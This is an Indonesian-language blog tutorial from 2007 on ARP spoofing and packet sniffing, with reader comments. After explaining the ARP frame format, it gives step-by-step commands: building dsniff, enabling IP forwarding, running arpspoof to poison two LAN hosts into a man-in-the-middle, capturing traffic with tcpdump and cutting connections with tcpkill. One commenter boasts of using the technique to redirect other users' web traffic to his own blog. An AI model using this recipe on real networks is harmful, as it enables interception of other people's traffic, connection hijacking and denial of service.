Rabu, 25 Juli 2007

ARP Spoofing n Sniffing



Address Resolution Protocol (ARP) adalah protokol untuk mapping dari alamat IP (Internet Protocol) ke alamat fisik MAC (Media Access Control). Misal di suatu jaringan kita ingin mengirim paket ke host A 192.168.1.2, maka pertama kita harus tau sapa yg mempunyai alamat IP tsb. Maka ARP akan membroadcast pertanyaan tsb ke semua host yang ada di jaringan. Sang empunya alamat IP tsb akan menjawab kembali sahutan tsb dengan mengirimkan alamat MACnya. Alamat MAC ini akan disimpan di tabel ARP untuk memudahkan pencarian jika diperlukan pengiriman paket ke tujuan yang sama.

Kayak gimana sih bentuk format frame ARP? Terdiri dari 2 bagian, yaitu header ethernet dan paket ARP. Header ethernet berupa :
- 6 byte alamat tujuan
- 6 byte alamat pengirim
- 2 byte jenis frame ARP

Sedangkan paket ARPna berupa :
- 2 byte jenis alamat hardware (1 = ethernet)
- 2 byte jenis protokol yang di map (0800H = alamat IP)
- 1 byte ukuran alamat hardware
- 1 byte ukuran protokol
- 2 byte tipe operasi (1 = ARP request, 2=ARP reply, 3=*RARP request
,4=RARP reply)
- 6 byte alamat ethernet pengirim
- 4 byte alamat IP pengirim
- 6 byte alamat ethernet penerima
- 4 byte alamat IP penerima

*RARP (Reverse Address Resolution Protocol) digunakan untuk sistem komputer diskless, guna mendapatkan alamat IP mereka saat boot.

ARP Spoofing merupakan suatu kegiatan yang memanipulasi paket ARP. Misal paket X dari komputer A ditujukan untuk komputer B, ketika komputer A membroadcast paket ARP di jaringan, maka komputer C sang manipulator dapat "meracuni" (Posioning) paket ARP tsb agar paket X ditujukan ke komputer C terlebih dahulu baru diforward ke komputer B. Poisoning ini mengganti alamat MAC komputer B dengan alamat MAC komputer C di tabel ARP komputer A dan sebaliknya, alamat MAC komputer A diganti menjadi alamat MAC komputer C di tabel ARP komputer B. Jenis-jenis serangan yang bisa dilakukan dnegan ARP Spoofing diantarana adalah sniffing, Man in the Middle, MAC Flooding, DoS (Denial of Service), Hijacking n Cloning.

Apa ajah sih yg diperluin buat ARP Spoofing ini? Kalo aq sih pake arpspoof yang ada di paket dsniff-2.3 untuk OS Linux. Ohiya, sebelum menginstall dsniff ini perlu dicek apakah di sistem yang digunain dah terinstall libnet ma libnids. Jangan lupa untuk jenis attacking sniffing ato MIM perlu IP Forwarding diaktifkan (echo 1 > /proc/sys/net/ipv4/ip_forward).

Seperti biasa, unpack paket dsniff lalu configure n terakhir make install. Ohiya, pas saat make, aq sempet dapet error compiling module sshcrypto :

sshcrypto.c:30: error: parse error before "des_key_schedule"
....blablabla
....blablabla
*** Error code 1

Solusina kita buka n edit file sshcrypto.c di folder dsniff-2.3, tambahin :

#include <openssl/des.h>
#include <openssl/blowfish.h>

di deklarasi file header yang diperlukan. Bila dah kelar n gak da error lagi, coba jalanin si dsniff ato si arpspoof :)

Yuukk kita coba meracuni n ngendus paket antara komputer A 192.168.1.1 n komputer B 192.168.1.3, komputer C (attacker) 192.168.1.6.

jalanin si arpspoof terlebih dahulu :

root@slack:~# arpspoof -t 192.168.1.1 192.168.1.3 & >/dev/null
root@slack:~# arpspoof -t 192.168.1.3 192.168.1.1 & >/dev/null

kalo dah bener nanti di console akan muncul kayak gini :

0:c:29:3e:2d:46 0:15:e9:b5:83:62 0806 42: arp reply 192.168.1.3 is-at 0:c:29:3e:2d:46
0:e0:29:63:d1:6 0:15:e9:b5:83:62 0806 42: arp reply 192.168.1.3 is-at 0:e0:29:63:d1:6

Setelah itu bisa kita endus pake dsniff ato tcpdump, misal mo pake tcpdump bisa kita capture hasilna ke file, pake :

root@slack:~# tcpdump -i eth0 -w endus.txt

dimana eth0 adalah interface card dan endus.txt adalah nama file outputna :). Kalo file tsb dibuka masi kaco isina >.<, jadi bisa kita liat pake tcpdump juga, pake :

root@slack:~# tcpdump -r endus.txt

hehehehe lumayan asik kan ARP Spoofing, gak hanya buat sniffing juga tapi bisa kita blok koneksi tertentu misal :

root@slack:~# tcpkill -9 host www.playboy.com

Untuk matiin proses si arpspoof n tcpdump bisa dengan cara :

root@slack:~# killall arpspoof
root@slack:~# killall tcpdump

:) :)

7 komentar:

Adi mengatakan...

ngoprek mulu, jangan lupa bobok ya

ahmad_erwiansyah mengatakan...

koneksi komputer target jadi lambat dan bahkan kadang tidak mau konek....! (kesannya jadi aneh...!)

santri mengatakan...

Cara nangulanginya/defence nya gimana mas yak. Misal defencenya kita taruh di gateway.?
hehe gua dah nyobak malah tak jdiin virus jadi bikin network ketika nyerang gateway. Jadi setiap orang yang akses website misal detik.com, tak arahkan ke website blog ku hihi :D.

Tapi permasalahannya gimana bikin antivirusnya yang langsung nangani di gatewaynya. ? jadi paket dibersihkan di gatewaynya. Mohon petunjuk :)

Nanang gr mengatakan...

wakakakak.......hebat juga...maksih infonya... ti aq coba praktekin dech..

Unknown mengatakan...

mas lo q ngetik ARP -a di comand prompt kn kluar smua IP yg terhubung sma kita, trus pada type ada kata static sama dinamic,,
itu mksdnya apa ya mas??? mohn infonya y,,

Spectrum mengatakan...

thanks ilmunya maknyos...
Btw, mo tny:
1. apa bedanya kl kita endus pake wireshark?
Karena setelah saya praktekin tutorial arpspoofing ini, hasil endusannya sama aja dengan hasil capture wireshark. malah lebih manusiawi dilihat ^^, bs follow tcp/udp stream.
2. apakah cara kerja wireshark itu sebenarnya dgn teknik arpspoofing ini juga?
3. Apa kelebihannya kita endus pake arpspoofing sama kl pake wireshark?
-BEST REGARD-

Spectrum mengatakan...

thanks ilmunya maknyos...
Btw, mo tny:
1. apa bedanya kl kita endus pake wireshark?
Karena setelah saya praktekin tutorial arpspoofing ini, hasil endusannya sama aja dengan hasil capture wireshark. malah lebih manusiawi dilihat ^^, bs follow tcp/udp stream.
2. apakah cara kerja wireshark itu sebenarnya dgn teknik arpspoofing ini juga?
3. Apa kelebihannya kita endus pake arpspoofing sama kl pake wireshark?
-BEST REGARD-